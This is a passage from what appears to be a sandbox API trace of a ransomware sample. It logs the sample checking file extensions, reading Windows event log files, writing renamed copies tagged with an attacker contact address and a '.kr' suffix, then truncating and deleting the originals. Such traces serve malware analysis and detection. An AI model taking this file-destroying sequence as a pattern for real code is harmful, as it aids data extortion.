(lpString1=".docx", lpString2=".evtx") returned -1 [0102.741] lstrlenW (lpString=".pdf") returned 4 [0102.741] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString=".xls") returned 4 [0102.741] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString=".xlsx") returned 5 [0102.741] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.741] lstrlenW (lpString=".ppt") returned 4 [0102.741] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.741] lstrlenW (lpString=".zip") returned 4 [0102.741] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString=".rar") returned 4 [0102.741] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString=".bz2") returned 4 [0102.741] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString=".7z") returned 3 [0102.741] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.741] lstrlenW (lpString=".dbf") returned 4 [0102.741] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.741] lstrlenW (lpString=".1cd") returned 4 [0102.741] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.741] lstrlenW (lpString=".jpg") returned 4 [0102.741] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.741] lstrlenW (lpString=".doc") returned 4 [0102.741] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.741] lstrlenW (lpString=".docx") returned 5 [0102.742] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.742] lstrlenW (lpString=".pdf") returned 4 [0102.742] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString=".xls") returned 4 [0102.742] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString=".xlsx") returned 5 [0102.742] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.742] lstrlenW (lpString=".ppt") returned 4 [0102.742] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.742] lstrlenW (lpString=".zip") returned 4 [0102.742] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString=".rar") returned 4 [0102.742] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString=".bz2") returned 4 [0102.742] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString=".7z") returned 3 [0102.742] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.742] lstrlenW (lpString=".dbf") returned 4 [0102.742] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.742] lstrlenW (lpString=".1cd") returned 4 [0102.742] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.742] lstrlenW (lpString=".jpg") returned 4 [0102.742] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.742] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.743] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0102.743] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.745] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0102.745] CloseHandle (hObject=0x340) returned 1 [0102.745] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0102.745] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.745] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.745] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.745] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.745] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0102.746] GetLastError () returned 0x0 [0102.746] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0102.748] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0102.750] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.750] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x168, lpOverlapped=0x0) returned 1 [0102.750] SetEndOfFile (hFile=0x394) returned 1 [0102.750] CloseHandle (hObject=0x394) returned 1 [0102.753] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.753] SetEndOfFile (hFile=0x340) returned 1 [0102.754] CloseHandle (hObject=0x340) returned 1 [0102.754] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0102.754] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0102.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.755] lstrlenW (lpString=".doc") returned 4 [0102.755] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.755] lstrlenW (lpString=".docx") returned 5 [0102.755] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.755] lstrlenW (lpString=".pdf") returned 4 [0102.755] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.755] lstrlenW (lpString=".xls") returned 4 [0102.755] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.755] lstrlenW (lpString=".xlsx") returned 5 [0102.755] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.755] lstrlenW (lpString=".ppt") returned 4 [0102.755] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.755] lstrlenW (lpString=".zip") returned 4 [0102.755] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.755] lstrlenW (lpString=".rar") returned 4 [0102.755] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.755] lstrlenW (lpString=".bz2") returned 4 [0102.755] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.755] lstrlenW (lpString=".7z") returned 3 [0102.755] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.759] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.759] lstrlenW (lpString=".dbf") returned 4 [0102.759] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.759] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.759] lstrlenW (lpString=".1cd") returned 4 [0102.759] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.759] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.759] lstrlenW (lpString=".jpg") returned 4 [0102.759] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.759] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.759] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.759] lstrlenW (lpString=".doc") returned 4 [0102.759] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.759] lstrlenW (lpString=".docx") returned 5 [0102.759] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.759] lstrlenW (lpString=".pdf") returned 4 [0102.759] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.759] lstrlenW (lpString=".xls") returned 4 [0102.759] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.759] lstrlenW (lpString=".xlsx") returned 5 [0102.759] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.759] lstrlenW (lpString=".ppt") returned 4 [0102.759] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.759] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.760] lstrlenW (lpString=".zip") returned 4 [0102.760] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.760] lstrlenW (lpString=".rar") returned 4 [0102.760] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.760] lstrlenW (lpString=".bz2") returned 4 [0102.760] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.760] lstrlenW (lpString=".7z") returned 3 [0102.760] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.760] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.760] lstrlenW (lpString=".dbf") returned 4 [0102.760] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.760] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.760] lstrlenW (lpString=".1cd") returned 4 [0102.760] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.760] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0102.760] lstrlenW (lpString=".jpg") returned 4 [0102.760] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.760] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.760] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0102.760] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.761] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0102.761] CloseHandle (hObject=0x340) returned 1 [0102.761] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0102.761] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.761] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.761] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.761] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.761] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0102.761] GetLastError () returned 0x0 [0102.761] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.209] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.212] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.212] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x130, lpOverlapped=0x0) returned 1 [0103.212] SetEndOfFile (hFile=0x394) returned 1 [0103.212] CloseHandle (hObject=0x394) returned 1 [0103.215] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.215] SetEndOfFile (hFile=0x340) returned 1 [0103.217] CloseHandle (hObject=0x340) returned 1 [0103.217] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.217] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0103.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.218] lstrlenW (lpString=".doc") returned 4 [0103.218] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.218] lstrlenW (lpString=".docx") returned 5 [0103.218] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.218] lstrlenW (lpString=".pdf") returned 4 [0103.218] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.218] lstrlenW (lpString=".xls") returned 4 [0103.218] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.218] lstrlenW (lpString=".xlsx") returned 5 [0103.218] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.218] lstrlenW (lpString=".ppt") returned 4 [0103.218] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.218] lstrlenW (lpString=".zip") returned 4 [0103.218] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.218] lstrlenW (lpString=".rar") returned 4 [0103.218] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.218] lstrlenW (lpString=".bz2") returned 4 [0103.218] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.219] lstrlenW (lpString=".7z") returned 3 [0103.219] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.219] lstrlenW (lpString=".dbf") returned 4 [0103.219] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.219] lstrlenW (lpString=".1cd") returned 4 [0103.219] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.219] lstrlenW (lpString=".jpg") returned 4 [0103.219] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.219] lstrlenW (lpString=".doc") returned 4 [0103.219] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.219] lstrlenW (lpString=".docx") returned 5 [0103.219] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.219] lstrlenW (lpString=".pdf") returned 4 [0103.219] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.219] lstrlenW (lpString=".xls") returned 4 [0103.219] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.219] lstrlenW (lpString=".xlsx") returned 5 [0103.219] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.219] lstrlenW (lpString=".ppt") returned 4 [0103.220] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.220] lstrlenW (lpString=".zip") returned 4 [0103.220] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.220] lstrlenW (lpString=".rar") returned 4 [0103.220] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.220] lstrlenW (lpString=".bz2") returned 4 [0103.220] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.220] lstrlenW (lpString=".7z") returned 3 [0103.220] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.220] lstrlenW (lpString=".dbf") returned 4 [0103.220] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.220] lstrlenW (lpString=".1cd") returned 4 [0103.220] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.220] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0103.220] lstrlenW (lpString=".jpg") returned 4 [0103.220] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.220] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.220] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0103.221] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.222] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0103.222] CloseHandle (hObject=0x340) returned 1 [0103.222] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0103.222] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.222] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.222] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.222] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.223] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0103.223] GetLastError () returned 0x0 [0103.223] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.227] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.229] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.229] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x128, lpOverlapped=0x0) returned 1 [0103.229] SetEndOfFile (hFile=0x394) returned 1 [0103.230] CloseHandle (hObject=0x394) returned 1 [0103.232] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.232] SetEndOfFile (hFile=0x340) returned 1 [0103.234] CloseHandle (hObject=0x340) returned 1 [0103.234] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.234] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0103.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.235] lstrlenW (lpString=".doc") returned 4 [0103.235] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.235] lstrlenW (lpString=".docx") returned 5 [0103.235] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.235] lstrlenW (lpString=".pdf") returned 4 [0103.235] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.235] lstrlenW (lpString=".xls") returned 4 [0103.235] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.235] lstrlenW (lpString=".xlsx") returned 5 [0103.235] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.235] lstrlenW (lpString=".ppt") returned 4 [0103.235] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.235] lstrlenW (lpString=".zip") returned 4 [0103.235] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.235] lstrlenW (lpString=".rar") returned 4 [0103.235] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.235] lstrlenW (lpString=".bz2") returned 4 [0103.236] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.236] lstrlenW (lpString=".7z") returned 3 [0103.236] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.236] lstrlenW (lpString=".dbf") returned 4 [0103.236] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0103.236] lstrlenW (lpString=".1cd") returned 4 